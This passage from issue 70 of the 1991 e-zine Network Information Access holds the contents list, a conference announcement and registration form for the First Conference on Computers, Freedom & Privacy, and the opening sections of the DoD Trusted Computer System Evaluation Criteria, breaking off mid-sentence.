Copy Link
Add to Bookmark
Report
Network Information Access 70
Founded By: | _ _______
Guardian Of Time | __ N.I.A. _ ___ ___ Are you on any WAN? are
Judge Dredd | ____ ___ ___ ___ ___ you on Bitnet, Internet
------------------+ _____ ___ ___ ___ ___ Compuserve, MCI Mail,
\ / ___ ___ ___ ___ ___________ Sprintmail, Applelink,
+---------+ ___ ___ ___ ___ ___________ Easynet, MilNet,
| 15FRI91 | ___ ______ ___ ___ ___ FidoNet, et al.?
| File 70 | ___ _____ ___ ___ ___ If so please drop us a
+---------+ ____ _ __ ___ line at
___ _ ___ elisem@nuchat.sccsi.com
Other World BBS __
Text Only _ Network Information Access
Ignorance, There's No Excuse.
Issue 070 :: Volume 02
Submissions can be sent to our Internet address.
=============================================================================
1. The First Conference On Computers, Freedom & Privacy.....Dorothy Denning
2. DoD Trusted System Evaluation Criteria [01 of 02]............Judge Dredd
3. Kermit Protocol Manual [02 of 02]........................Malefactor [OC]
4. Social Engineering: A Way Of Life........................Malefactor [OC]
5. Unix Kerberos Manual...........................Doctor Dissector [PHA/P4]
6. A Basic Guide To Hacking Unix.......................Sir Hackalot [PHAZE]
7. Editor's Comments...............................................JD & GOT
============================================================================
/ /
/ File 01 / NIA070 /
/ Dorothy Denning of /
/ Digital Equipment Corporation /
/ /
*********************************************************
* THE FIRST CONFERENCE ON COMPUTERS, FREEDOM & PRIVACY *
*********************************************************
Pursuing Policies for the Information Age in the
Bicentennial Year of the Bill of Rights
Tutorials & Invitational Conference, Limited to 600 Participants
Monday-Thursday, March 25-28, 1991
Airport SFO Marriott Hotel, Burlingame, California (San Francisco Peninsula)
Co-sponsors & cooperating organizations include
Institute of Electrical and Electronics Engineers-USA
Association for Computing Machinery Electronic Networking Association
Electronic Frontier Foundation Videotex Industry Association
Cato Institute American Civil Liberties Union
ACM Special Interest Group on Software
IEEE-USA Intellectual Property Committee
ACM Special Interest Group on Computers and Society
ACM Committee on Scientific Freedom and Human Rights
IEEE-USA Committee on Communications and Information Policy
Autodesk, Inc. The WELL Portal Communications
Sponsored by the Computer Professionals for Social Responsibility
A nonprofit educational corporation
(415)322-3778, e-mail: cfp@well.sf.ca.us. fax: (415)851-2814
ABOUT COMPUTERS, FREEDOM & PRIVACY
----------------------------------
We are at a crossroads as individuals, organizations and governments depend
more and more on computers and computer networks. Within ten years, most
global information will be collected and utilized electronically.
The 1990's are the pivotal decade in which statutes, policies and judicial
precedents will be developed for controlling access, use -- and abuse -- of
computerized information and electronic mail.
Current government and private-sector policies are an uncoordinated jumble,
created as each group evolves ways to collect, manipulate, extract,
share and protect computerized and networked information and services.
Data on individuals and groups is being computerized by numerous agencies,
organizations and special interests, often without the knowledge or approval
of those it concerns, and with varying degrees of accuracy.
Computers can greatly assist individuals, organizations and government in
making sound decisions based on efficient access to adequate information --
for personal benefit, business improvement and national well-being.
Or, inappropriate use and regulation can seriously threaten fundamental
freedoms, personal privacy, and the democratic processes that are at the
very foundation of this nation and of any free society.
ABOUT THE CONFERENCE SESSIONS (Tuesday-Thursday, March 26th-28th)
-----------------------------------------------------------------
PLENARY SPEAKERS:
* Laurence H. Tribe,
Professor of Constitutional Law, Harvard Law School,
offering major policy proposals in the opening Conference session, "The
Constitution in Cyberspace: Law & Liberty Beyond the Electronic Frontier".
* Eli M. Noam,
Director of the Center for Telecommunications and Information Studies,
Columbia University, and a recognized leader in telecommunications
regulation, international communications policies and economics, will
discuss, "Network Environments of the Future: Reconciling Free Speech and
Freedom of Association."
* William A. Bayse,
Assistant Director, FBI Technical Services Division, Washington DC,
providing perspectives on "Balancing Computer Security Capabilities with
Privacy and Integrity" at the Wednesday evening banquet.
THE CONFERENCE SESSIONS offer diverse speakers & panel discussions:
Trends in Computers & Networks.
Overview and prognosis of computing capabilities and networking as they
impact personal privacy, confidentiality, security, one-to-one & many-to-one
communications, and access to information about government, business and
society.
International Perspectives & Impacts.
Other nationsU models for protecting personal information and
communications, and granting access to government information; existing
and developing laws; requirements for trans-national dataflow and their
implications; impacts on personal expression; accountability.
Personal Information & Privacy.
Government and private collection, sharing, marketing, verification, use,
protection of, access to and responsibility for personal data, including
buying patterns, viewing habits, lifestyle, work, health, school, census,
voter, tax, financial and consumer information.
Law Enforcement Practices & Problems.
Issues relating to investigation, prosecution, due process and deterring
computer crimes, now and in the future; use of computers to aid law
enforcement.
Law Enforcement & Civil Liberties.
Interaction of computer crime, law enforcement and civil liberties; issues
of search, seizure and sanctions, especially as applied to shared or
networked information, software and equipment.
Legislation & Regulation.
Legislative and regulatory roles in protecting privacy and insuring
access; legal problems posed by computing and computer networks; approaches
to improving related government processes.
Computer-based Surveillance of Individuals.
Monitoring electronic-mail, public & private teleconferences, electronic
bulletin boards, publications and subscribers; monitoring individuals, work
performance, buying habits and lifestyles.
Electronic Speech, Press & Assembly.
Freedoms and responsibilities regarding electronic speech, public and
private electronic assembly, electronic publishing, prior restraint and
chilling effects of monitoring.
Access to Government Information.
Implementing individual and corporate access to federal, state & local
information about communities, corporations, legislation, administration,
the courts and public figures; allowing access while protecting
confidentiality.
Ethics & Education.
Ethical principles for individuals, system administrators, organizations,
corporations and government; copying of data, copying of software,
distributing confidential information; relations to computer education
and computer law.
Where Do We Go From Here? [closing session]
Perspectives, recommendations and commitments of participants from the
major interest groups, proposed next steps to protect personal privacy,
protect fundamental freedoms and encourage responsible policies and action.
Also:
Tuesday and Wednesday will include structured opportunities for attendees
to identify groups with whom they want to establish contact and, if they
wish, announce topics they would like to discuss, one on one.
ABOUT THIS PREMIER EVENT
------------------------
This is an intensive, multi-disciplinary survey Conference for those
concerned with computing, teleconferencing, electronic mail, computerized
personal information, direct marketing information, government data, etc. --
and those concerned with computer-related legislation, regulation, computer
security, law enforcement and national and international policies that
impact civil liberties, responsible exercise of freedom and equitable
protection of privacy in this global Information Age.
For the first time, this four-day invitational event will bring together
representatives from all of these groups and more, all in one place, all at
one time.
Many of the recognized leaders and strongest advocates representing the
various groups having an interest in the issues of the conference will
discuss their concerns and proposals.
A maximum of 600 applicants will be invited to attend. Balanced
representation from the diverse groups interested in these issues is being
encouraged. Please see the enclosed Invitation Application for details.
To inform participants about topics beyond their specialties, half-day
seminars are scheduled for the first day (Monday, March 25th). These
parallel tutorials will explore relevant issues in computing, networking,
civil liberties, regulation, the law and law enforcement. Each tutorial
is designed for those who are experienced in one area, but are less
knowledgeable in the subject of that tutorial.
To explore the interactions and ramifications of the issues, conference
talks and panel discussions are scheduled for the remaining three days
(Tuesday-Thursday, March 26th-28th). These will emphasize balanced
representation of all major views, especially including probing questions
and discussion.
Explicit Conference events to foster communication across disciplines are
planned. Working luncheons, major breaks and two evening banquets will
further encourage individual and small-group discussions.
ABOUT JUST *SOME* OF THE SPEAKERS IN THE 3-DAY CONFERENCE
---------------------------------------------------------
Ken Allen, Senior Vice President for Governmental Relations, Information
Industries Association (IIA).
Sharon Beckman, civil rights and criminal defense attorney and Electronic
Frontier Foundation litigation counsel, Silverglate & Good.
Jerry Berman, Director of the ACLU's Project on Information Technology and
Communications Policy Fellow, Benton Foundation.
Paul Bernstein, columnist, Trial magazine; Electronic Bar Assn. Legal Info.
Network administrator; LawMUG BBS sysop; edits on-line lawyers' newsletter.
Sally Bowman, promotes responsible computing practices through school
teaching units; Director, Computer Learning Foundation.
David Burnham, author, *Rise of the Computer State*; former *New York Times*
investigative reporter; specialist in IRS & Freedom of Information Act.
Mary Culnan, co-authored major credit reporting policies presented to
Congress; School of Business Administration, Georgetown University.
Peter Denning, Editor, 1990 *Computers Under Attack*; past Pres., ACM;
founding Director, RIACS; editor, *Communications of the ACM*.
Dorothy Denning, received Aerospace's 1990 Distinguished Lecturer in
Computer Security award; author, *Cryptography & Data Security*.
Dave Farber, co-founder, CSNET; member, National Research Council's
Computer Science & Telecommunications Board; University of Pennsylvania.
Cliff Figallo, Chief Executive Officer and Director of the WELL
(the Whole Earth 'Lectronic Link).
David Flaherty, Canadian surveillance expert, Professor of History & Law at
the University of Western Ontario.
John Ford, Public Relations Director for Equifax, one of the nation's
largest maintainers of information on individuals.
Bob Gellman, Chief Counsel, U.S. House of Representatives Governmental
Information Subcommittee.
Janlori Goldman, Director, ACLU Project on Privacy & Technology,
Washington, DC.
Harry Hammit, Editor, *Access Reports*, focusing on access to information.
Martin Hellman, identified potential hazards in federal DES national
encryption standard; co-invented public-key encryption; Stanford University.
Evan Hendricks, Editor & Publisher of *Privacy Times* newsletter.
Lance Hoffman, public policy researcher and Professor of Electrical
Engineering & Computer Science at George Washington University.
Don Ingraham, wrote the first-ever search warrant for magnetic media,
computer crime prosecutor; Asst. District Attorney, Alameda County.
Bob Jacobson, former Principal Consultant, Calif. State Assembly Utilities
and Commerce Committee; drafted landmark comp. communications legislation.
Mitch Kapor, co-founder, Electronic Frontier Foundation; founder, Lotus
Corp.; received DPMA's 1990 Distinguished Information Science Award.
Tom Mandel, Director of the Leading Edge Values & Lifestyles Program at
SRI International.
John McMullen, well-known on-line journalist; co-authors "Newsbytes" column
on GEnie and Online America.
Peter Neumann, member, National Research Council's 1990 *Computers at Risk*
committee; Chair, ACM Comm.on Computers & Public Policy; hosts RISKS Forum.
Donn Parker, perhaps the best-known international consultant and author on
information security and computer crime, SRI International.
Ron Plesser, former majority party congressional committee counsel; privacy
expert; attorney, Piper & Marbury.
John Quarterman, author, Digital Press' definitive *The Matrix: Computer
Networks and Conferencing Systems Worldwide*; networking consultant.
Jack Rickard, Editor of *Boardwatch* magazine, perhaps the best news source
about computer bulletin boards; Online Information Service.
Tom Riley, Canadian specialist in international computing and privacy
issues; Riley & Associates.
Lance Rose, co-author of *Syslaw*, about the law applied to on-line
situations; attorney, Wallace & Rose.
Marc Rotenberg, expert in federal computer and privacy law; Computer
Professionals for Social Responsibility, Washington office Director.
Noel Shipman, attorney for plaintiffs in electronic-mail privacy landmark
1990 litigation against Epson America.
Harvey Silverglate, Electronic Frontier Foundation litigation counsel,
specialist in criminal defense and civil rights, Silverglate & Good.
Gail Thackeray, computer crime prosecutor; involved in Secret Service's
1990 "Operation Sun Devil", Arizona Asst. State Attorney General.
Robert Veeder, Acting Chief, Information Policy Branch, Office of
Information Regulatory Affairs, OMB (Office of Management & Budget).
Willis Ware, computer security expert; Fellow, RAND Corporation.
Sheldon Zenner, former federal prosecutor in Chicago; defended *Phrack*
electronic publisher, Craig Neidorf; Katten, Muchin & Zavis.
ABOUT THE LOW-COST TUTORIALS (Monday, March 25th)
-------------------------------------------------
Seminars on the first day offer introductions to the different disciplines
that intersect in this conference. These are surveys for individuals not
already expert in the topics presented. These half-day tutorials are
scheduled in four parallel tracks:
Global Communications & the Worldwide Computer Matrix. [morning*]
Survey of electronic-mail & teleconferencing services, global information
access, remote services and the matrix of networks.
Low-Cost Computer Networking & Computer Bulletin Board Systems. [afternoon*]
Reviews e-mail, bulletin board and teleconferencing alternatives on
personal computers; outlines low-cost PC-based networks and their gateways
to the global matrix.
-- Mark Graham*, co-founder of Institute for Global Communications,
PeaceNet and EcoNet; Pandora Systems
Current & Proposed International Policies. [morning*]
Law and regulation that will or may impact trans-border data-flow and
computer communications, impacting U.S. information practices and
international business.
Federal Legislation Impacting Computer Use. [afternoon*]
Detailed review of landmark federal statutes impacting access to
information, privacy of information, computer security and computer crime.
-- Marc Rotenberg*, former congressional counsel and expert on federal
legislation, CPSR, Washington DC.
How Computer Crackers Crack! [morning*]
Suggested by a deputy district attorney specializing in high-tech crime,
this is for law enforcement officials, prosecutors, systems administrators
and Bulletin Board System (BBS) sysops.
-- Russell Brand*, computer security specialist; programmer with
Reasoning Systems, Palo Alto CA.
How Computer Crime is Investigated.
[afternoon*] This reviews investigation, search, seizure and evidence
requirements for pursuing computer crime. It is for computer users,
computer owners, BBS sysops and investigators unfamiliar with computer
crime practices.
Information Security. [afternoon*]
Survey for systems managers of internal and external threats, security
measures, alternatives and other computer and data security issues.
-- Donn Parker*, a leading consultant in information security and
computer crime, SRI International.
* - Lecturers, descriptions and times were confirmed as of 1/8/91, but may
be subject to change.
CONFERENCE CHAIR
Jim Warren, Autodesk, Inc. & *MicroTimes*
415-851-7075, jwarren@well.sf.ca.us / e-mail
PROGRAM COMMITTEE
Dorothy Denning, Digital Equipment Corporation
Peter Denning, Research Institute for Advanced Computer Science
Les Earnest, SF Peninsula ACLU & Stanford University, ret.
Elliot Fabric, Attorney at Law
Mark Graham, Pandora Systems
Don Ingraham, Alameda County District AttorneyUs Office
Bruce Koball, Motion West
Marc Rotenberg, Computer Professionals for Social Responsibility
Glenn Tenney, Fantasia Systems & Hacker's Conference
ADVISORS
Ron Anderson, ACM SIGCAS & University of Minnesota
John Perry Barlow, Electronic Frontier Foundation
Jerry Berman, ACLU & Benton Foundation
Dave Caulkins, USSR GlasNet
Vint Cerf, Corporation for National Research Initiatives
Margaret Chambers, Electronic Networking Association
Steve Cisler, Apple Computer, Inc.
Whit Diffie, Northern Telecom
Mary Eisenhart, *MicroTimes*
Dave Farber, University of Pennsylvania
Cliff Figallo, The WELL
John Gilmore, Cygnus Support
Adele Goldberg, ParcPlace Systems
Terry Gross, Rabinowitz, Boudin, Standard, et al
Keith Henson, consultant & Alcor
Lance Hoffman, George Washington University
Dave Hughes, Chariot Communications
Bob Jacobson, Human Interface Technology Laboratory
Mitch Kapor, Electronic Frontier Foundation
Roger Karraker, Santa Rosa College
Tom Mandel, SRI International
John McMullen, NewsBytes
Peter Neumann, SRI International
Dave Redell, Digital Equipment Corporation
Ken Rosenblattt, Santa Clara County District Attorney's Office
Paul Saffo, Institute for the Future
Gail Thackeray, Arizona Attorney GeneralUs Office
Jay Thorwaldson, Palo Alto Medical Foundation
Terry Winograd, CPSR & Stanford University
Sheldon Zenner, Katten, Muchin, & Zavis
Affiliations listed only for identification
============================
= Request for Invitation =
============================
First Conference on Computers, Freedom & Privacy
March 25-28, 1991
Monday: Tutorials, Tuesday-Thursday: Conference Sessions
SFO Marriott Hotel, 1800 Old Bayshore Hwy., Burlingame CA 94010
For hotel reservations at Conference rates, call: (800)228-9290 #3
** Invitational Conference, limted to 600 participants. **
To facilitate useful dialogue and balanced participation by
representatives from all of the diverse groups interested in these issues,
attendance is limited. (The capacity of the Conference facility is
similarly limited).
All interested individuals are encouraged to request an invitation.
Invitations will be primarily issued on a first-come, first-served basis
within each major interest group.
Fees if payment is received: by Jan.31 Feb.1-Mar.15 after Mar.15
Tutorials (full day) $ 95 $ 145 $ 195
Conference (3 days) $ 295 $ 350 $ 400
Conference Registration fee includes three luncheons, two banquet meetings
and selected handouts:
Please make checks payable to "Computers, Freedom & Privacy/CPSR".
Please don't send cash. Invitations will be promptly issued, or the
uncashed check will be voided and promptly returned.
Please type or print. Thank ye, kindly.
name:
title:
organization:
mailing
address:
city, state ZIP:
phone(s):
fax:
e-mail:
Comments to assist in evaluating this request:
To aid in balancing participation among groups,
please check all significantly applicable items.
[ ] user of computers or computer networking
[ ] user of electronic-mail services
[ ] user of teleconferencing services
[ ] user of direct marketing services
[ ] user of computerized personal information
[ ] user of government information
[ ] computer professional
[ ] BBS sysop (bulletin board system operator)
[ ] systems administrator / infosystems manager
[ ] network administrator
[ ] computer / communications security specialist
[ ] provider of data communications services
[ ] provider of electronic-mail services
[ ] provider of teleconferencing services
[ ] provider of direct marketing services
[ ] provider of computerized personal information
[ ] provider of government information
[ ] legislative official [ ] federal [ ] state
[ ] regulatory official or staff [ ] federal [ ] state
[ ] law enforcement official [ ] federal [ ] state [ ] local
[ ] prosecutor [ ] federal [ ] state [ ] local
[ ] judicial representative [ ] federal [ ] state [ ] local
[ ] criminal defense attorney
[ ] corporate or litigation attorney
[ ] civil liberties specialist
[ ] journalist [ ] newspaper [ ] television [ ] radio [ ] other
[ ] other:
[ ] other:
<<1/7/91>>
Please mail form and payment to:
CFP Conference, 345 Swett Road, Woodside CA 94062
Privacy Notice: This information will not be sold, rented, loaned,
exchanged or used for any purpose other than official CPSR activity.
CPSR may elect to send information about other activities, but such
mailings will always originate with CPSR.
Sponsor: Computer Professionals for Social Responsibility, (415)322-3778
A nonprofit, educational corporation [ Internal Revenue Code 501(c)(3) ]
e-mail: cfp@well.sf.ca.us; fax: (415)851-2814
Chair: Jim Warren, (415)851-7075
=============================================================================
/ /
/ File 02 / NIA070 /
/ DOD-TCSEC Manual 01 of 02 /
/ Judge Dredd /
/ /
CSC-STD-001-83
Library No. S225,711
DEPARTMENT OF DEFENSE
TRUSTED COMPUTER SYSTEM EVALUATION CRITERIA
15 August 1983
CSC-STD-001-83
FOREWORD
This publication, "Department of Defense Trusted Computer System Evaluation
Criteria," is being issued by the DoD Computer Security Center under the
authority of and in accordance with DoD Directive 5215.1, "Computer Security
Evaluation Center." The criteria defined in this document constitute a uniform
set of basic requirements and evaluation classes for assessing the
effectiveness of security controls built into Automatic Data Processing (ADP)
systems. These criteria are intended for use in the evaluation and selection
of ADP systems being considered for the processing and/or storage and
retrieval of sensitive or classified information by the Department of Defense.
Point of contact concerning this publication is the Office of Standards and
Products, Attention: Chief, Computer Security Standards.
____________________________ 15 August 1983
Melville H. Klein
Director
DoD Computer Security Center
ACKNOWLEDGMENTS
Special recognition is extended to Sheila L. Brand, DoD Computer Security
Center (DoDCSC), who integrated theory, policy, and practice into and directed
the production of this document.
Acknowledgment is also given for the contributions of: Grace Hammonds and
Peter S. Tasker, the MITRE Corp., Daniel J. Edwards, Col. Roger R. Schell,
Marvin Schaefer, DoDCSC, and Theodore M. P. Lee, Sperry UNIVAC, who as
original architects formulated and articulated the technical issues and
solutions presented in this document; Jeff Makey and Warren F. Shadle,
DoDCSC, who assisted in the preparation of this document; James P. Anderson,
James P. Anderson & Co., Steven B. Lipner, Digital Equipment Corp., Clark
Weissman, System Development Corp., LTC Lawrence A. Noble, formerly U.S. Air
Force, Stephen T. Walker, formerly DoD, Eugene V. Epperly, DoD, and James E.
Studer, formerly Dept. of the Army, who gave generously of their time and
expertise in the review and critique of this document; and finally, thanks are
given to the computer industry and others interested in trusted computing for
their enthusiastic advice and assistance throughout this effort.
TABLE OF CONTENTS
FOREWORD. . . . . . . . . . . . . . . . . . . . . . . . . . . .i
ACKNOWLEDGMENTS . . . . . . . . . . . . . . . . . . . . . . . ii
PREFACE . . . . . . . . . . . . . . . . . . . . . . . . . . . .v
INTRODUCTION. . . . . . . . . . . . . . . . . . . . . . . . . .1
PART I: THE CRITERIA
Section
1.0 DIVISION D: MINIMAL PROTECTION. . . . . . . . . . . . .9
2.0 DIVISION C: DISCRETIONARY PROTECTION. . . . . . . . . 11
2.1 Class (C1): Discretionary Security Protection . . 12
2.2 Class (C2): Controlled Access Protection. . . . . 15
3.0 DIVISION B: MANDATORY PROTECTION. . . . . . . . . . . 19
3.1 Class (B1): Labeled Security Protection . . . . . 20
3.2 Class (B2): Structured Protection . . . . . . . . 26
3.3 Class (B3): Security Domains. . . . . . . . . . . 33
4.0 DIVISION A: VERIFIED PROTECTION . . . . . . . . . . . 41
4.1 Class (A1): Verified Design . . . . . . . . . . . 42
4.2 Beyond Class (A1). . . . . . . . . . . . . . . . . 51
PART II: RATIONALE AND GUIDELINES
5.0 CONTROL OBJECTIVES FOR TRUSTED COMPUTER SYSTEMS. . . . . 55
5.1 A Need for Consensus . . . . . . . . . . . . . . . 56
5.2 Definition and Usefulness. . . . . . . . . . . . . 56
5.3 Criteria Control Objective . . . . . . . . . . . . 56
6.0 RATIONALE BEHIND THE EVALUATION CLASSES. . . . . . . . . 63
6.1 The Reference Monitor Concept. . . . . . . . . . . 64
6.2 A Formal Security Policy Model . . . . . . . . . . 64
6.3 The Trusted Computing Base . . . . . . . . . . . . 65
6.4 Assurance. . . . . . . . . . . . . . . . . . . . . 65
6.5 The Classes. . . . . . . . . . . . . . . . . . . . 66
7.0 THE RELATIONSHIP BETWEEN POLICY AND THE CRITERIA . . . . 69
7.1 Established Federal Policies . . . . . . . . . . . 70
7.2 DoD Policies . . . . . . . . . . . . . . . . . . . 70
7.3 Criteria Control Objective For Security Policy . . 71
7.4 Criteria Control Objective for Accountability. . . 74
7.5 Criteria Control Objective for Assurance . . . . . 76
8.0 A GUIDELINE ON COVERT CHANNELS . . . . . . . . . . . . . 79
9.0 A GUIDELINE ON CONFIGURING MANDATORY ACCESS CONTROL
FEATURES . . . . . . . . . . . . . . . . . . . . . . . . 81
10.0 A GUIDELINE ON SECURITY TESTING . . . . . . . . . . . . 83
10.1 Testing for Division C . . . . . . . . . . . . . . 84
10.2 Testing for Division B . . . . . . . . . . . . . . 84
10.3 Testing for Division A . . . . . . . . . . . . . . 85
APPENDIX A: Commercial Product Evaluation Process. . . . . . 87
APPENDIX B: Summary of Evaluation Criteria Divisions . . . . 89
APPENDIX C: Sumary of Evaluation Criteria Classes. . . . . . 91
APPENDIX D: Requirement Directory. . . . . . . . . . . . . . 93
GLOSSARY. . . . . . . . . . . . . . . . . . . . . . . . . . .109
REFERENCES. . . . . . . . . . . . . . . . . . . . . . . . . .115
PREFACE
The trusted computer system evaluation criteria defined in this document
classify systems into four broad hierarchical divisions of enhanced security
protection. They provide a basis for the evaluation of effectiveness of
security controls built into automatic data processing system products. The
criteria were developed with three objectives in mind: (a) to provide users
with a yardstick with which to assess the degree of trust that can be placed
in computer systems for the secure processing of classified or other sensitive
information; (b) to provide guidance to manufacturers as to what to build into
their new, widely-available trusted commercial products in order to satisfy
trust requirements for sensitive applications; and (c) to provide a basis for
specifying security requirements in acquisition specifications. Two types of
requirements are delineated for secure processing: (a) specific security
feature requirements and (b) assurance requirements. Some of the latter
requirements enable evaluation personnel to determine if the required features
are present and functioning as intended. Though the criteria are
application-independent, it is recognized that the specific security feature
requirements may have to be interpreted when applying the criteria to specific
applications or other special processing environments. The underlying
assurance requirements can be applied across the entire spectrum of ADP system
or application processing environments without special interpretation.
INTRODUCTION
Historical Perspective
In October 1967, a task force was assembled under the auspices of the Defense
Science Board to address computer security safeguards that would protect
classified information in remote-access, resource-sharing computer systems.
The Task Force report, "Security Controls for Computer Systems," published in
February 1970, made a number of policy and technical recommendations on
actions to be taken to reduce the threat of compromise of classified
information processed on remote-access computer systems.[34] Department of
Defense Directive 5200.28 and its accompanying manual DoD 5200.28-M, published
in 1972 and 1973 respectivley, responded to one of these recommendations by
establishing uniform DoD policy, security requirements, administrative
controls, and technical measures to protect classified information processed
by DoD computer systems.[8;9] Research and development work undertaken by the
Air Force, Advanced Research Projects Agency, and other defense agencies in
the early and mid 70's developed and demonstrated solution approaches for the
technical problems associated with controlling the flow of information in
resource and information sharing computer systems.[1] The DoD Computer
Security Initiative was started in 1977 under the auspices of the Under
Secretary of Defense for Research and Engineering to focus DoD efforts
addressing computer security issues.[33]
Concurrent with DoD efforts to address computer security issues, work was
begun under the leadership of the National Bureau of Standards (NBS) to define
problems and solutions for building, evaluating, and auditing secure computer
systems.[17] As part of this work NBS held two invitational workshops on the
subject of audit and evaluation of computer security.[20;28] The first was
held in March 1977, and the second in November of 1978. One of the products
of the second workshop was a definitive paper on the problems related to
providing criteria for the evaluation of technical computer security
effectiveness.[20] As an outgrowth of recommendations from this report, and in
support of the DoD Computer Security Initiative, the MITRE Corporation began
work on a set of computer security evaluation criteria that could be used to
assess the degree of trust one could place in a computer system to protect
classified data.[24;25;31] The preliminary concepts for computer security
evaluation were defined and expanded upon at invitational workshops and
symposia whose participants represented computer security expertise drawn from
industry and academia in addition to the government. Their work has since
been subjected to much peer review and constructive technical criticism from
the DoD, industrial research and development organizations, universities, and
computer manufacturers.
The DoD Computer Security Center (the Center) was formed in January 1981 to
staff and expand on the work started by the DoD Computer Security
Initiative.[15] A major goal of the Center as given in its DoD Charter is to
encourage the widespread availability of trusted computer systems for use by
those who process classified or other sensitive information.[10] The criteria
presented in this document have evolved from the earlier NBS and MITRE
evaluation material.
Scope
The trusted computer system evaluation criteria defined in this document apply
to both trusted general-purpose and trusted embedded (e.g., those dedicated to
a specific application) automatic data processing (ADP) systems. Included are
two distinct sets of requirements: 1) specific security feature requirements;
and 2) assurance requirements. The specific feature requirements encompass
the capabilities typically found in information processing systems employing
general-purpose operating systems that are distinct from the applications
programs being supported. The assurance requirements, on the other hand,
apply to systems that cover the full range of computing environments from
dedicated controllers to full range multilevel secure resource sharing
systems.
Purpose
As outlined in the Preface, the criteria have been developed for a number of
reasons:
* To provide users with a metric with which to evaluate the
degree of trust that can be placed in computer systems for
the secure processing of classified and other sensitive
information.
* To provide guidance to manufacturers as to what security
features to build into their new and planned, commercial
products in order to provide widely available systems that
satisfy trust requirements for sensitive applications.
* To provide a basis for specifying security requirements in
acquisition specifications.
With respect to the first purpose for development of the criteria, i.e.,
providing users with a security evaluation metric, evaluations can be
delineated into two types: (a) an evaluation can be performed on a computer
product from a perspective that excludes the application environment; or, (b)
it can be done to assess whether appropriate security measures have been taken
to permit the system to be used operationally in a specific environment. The
former type of evaluation is done by the Computer Security Center through the
Commercial Product Evaluation Process. That process is described in Appendix
A.
The latter type of evaluation, i.e., those done for the purpose of assessing a
system's security attributes with respect to a specific operational mission,
is known as a certification evaluation. It must be understood that the
completion of a formal product evaluation does not constitute certification or
accreditation for the system to be used in any specific application
environment. On the contrary, the evaluation report only provides a trusted
computer system's evaluation rating along with supporting data describing the
product system's strengths and weaknesses from a computer security point of
view. The system security certification and the formal approval/accreditation
procedure, done in accordance with the applicable policies of the issuing
agencies, must still be followed-before a system can be approved for use in
processing or handling classified information.[8;9]
The trusted computer system evaluation criteria will be used directly and
indirectly in the certification process. Along with applicable policy, it
will be used directly as the basis for evaluation of the total system and for
specifying system security and certification requirements for new
acquisitions. Where a system being evaluated for certification employs a
product that has undergone a Commercial Product Evaluation, reports from that
process will be used as input to the certification evaluation. Technical data
will be furnished to designers, evaluators and the Designated Approving
Authorities to support their needs for making decisions.
Fundamental Computer Security Requirements
Any discussion of computer security necessarily starts from a statement of
requirements, i.e., what it really means to call a computer system "secure."
In general, secure systems will control, through use of specific security
features, access to information such that only properly authorized
individuals, or processes operating on their behalf, will have access to read,
write, create, or delete information. Six fundamental requirements are
derived from this basic statement of objective: four deal with what needs to
be provided to control access to information; and two deal with how one can
obtain credible assurances that this is accomplished in a trusted computer
system.
POLICY
Requirement 1 - SECURITY POLICY - There must be an explicit and well-defined
security policy enforced by the system. Given identified subjects and
objects, there must be a set of rules that are used by the system to determine
whether a given subject can be permitted to gain access to a specific object.
Computer systems of interest must enforce a mandatory security policy that can
effectively implement access rules for handling sensitive (e.g., classified)
information.[7] These rules include requirements such as: No person lacking
proper personnel security clearance shall obtain access to classified
information. In addition, discretionary security controls are required to
ensure that only selected users or groups of users may obtain access to data
(e.g., based on a need-to-know).
Requirement 2 - MARKING - Access control labels must be associated with
objects. In order to control access to information stored in a computer,
according to the rules of a mandatory security policy, it must be possible to
mark every object with a label that reliably identifies the object's
sensitivity level (e.g., classification), and/or the modes of access accorded
those subjects who may potentially access the object.
ACCOUNTABILITY
Requirement 3 - IDENTIFICATION - Individual subjects must be identified. Each
access to information must be mediated based on who is accessing the
information and what classes of information they are authorized to deal with.
This identification and authorization information must be securely maintained
by the computer system and be associated with every active element that
performs some security-relevant action in the system.
Requirement 4 - ACCOUNTABILITY - Audit information must be selectively kept
and protected so that actions affecting security can be traced to the
responsible party. A trusted system must be able to record the occurrences of
security-relevant events in an audit log. The capability to select the audit
events to be recorded is necessary to minimize the expense of auditing and to
allow efficient analysis. Audit data must be protected from modification and
unauthorized destruction to permit detection and after-the-fact investigations
of security violations.
ASSURANCE
Requirement 5 - ASSURANCE - The computer system must contain hardware/software
mechanisms that can be independently evaluated to provide sufficient assurance
that the system enforces requirements 1 through 4 above. In order to assure
that the four requirements of Security Policy, Marking, Identification, and
Accountability are enforced by a computer system, there must be some
identified and unified collection of hardware and software controls that
perform those functions. These mechanisms are typically embedded in the
operating system and are designed to carry out the assigned tasks in a secure
manner. The basis for trusting such system mechanisms in their operational
setting must be clearly documented such that it is possible to independently
examine the evidence to evaluate their sufficiency.
Requirement 6 - CONTINUOUS PROTECTION - The trusted mechanisms that enforce
these basic requirements must be continuously protected against tampering
and/or unauthorized changes. No computer system can be considered truly
secure if the basic hardware and software mechanisms that enforce the security
policy are themselves subject to unauthorized modification or subversion. The
continuous protection requirement has direct implications throughout the
computer system's life-cycle.
These fundamental requirements form the basis for the individual evaluation
criteria applicable for each evaluation division and class. The interested
reader is referred to Section 5 of this document, "Control Objectives for
Trusted Computer Systems," for a more complete discussion and further
amplification of these fundamental requirements as they apply to
general-purpose information processing systems and to Section 7 for
amplification of the relationship between Policy and these requirements.
Structure of the Document
The remainder of this document is divided into two parts, four appendices, and
a glossary. Part I (Sections 1 through 4) presents the detailed criteria
derived from the fundamental requirements described above and relevant to the
rationale and policy excerpts contained in Part II.
Part II (Sections 5 through 10) provides a discussion of basic objectives,
rationale, and national policy behind the development of the criteria, and
guidelines for developers pertaining to: mandatory access control rules
implementation, the covert channel problem, and security testing. It is
divided into six sections. Section 5 discusses the use of control objectives
in general and presents the three basic control objectives of the criteria.
Section 6 provides the theoretical basis behind the criteria. Section 7 gives
excerpts from pertinent regulations, directives, OMB Circulars, and Executive
Orders which provide the basis for many trust requirements for processing
nationally sensitive and classified information with computer systems.
Section 8 provides guidance to system developers on expectations in dealing
with the covert channel problem. Section 9 provides guidelines dealing with
mandatory security. Section 10 provides guidelines for security testing.
There are four appendices, including a description of the Trusted Computer
System Commercial Products Evaluation Process (Appendix A), summaries of the
evaluation divisions (Appendix B) and classes (Appendix C), and finally a
directory of requirements ordered alphabetically. In addition, there is a
glossary.
Structure of the Criteria
The criteria are divided into four divisions: D, C, B, and A ordered in a
hierarchical manner with the highest division (A) being reserved for systems
providing the most comprehensive security. Each division represents a major
improvement in the overall confidence one can place in the system for the
protection of sensitive information. Within divisions C and B there are a
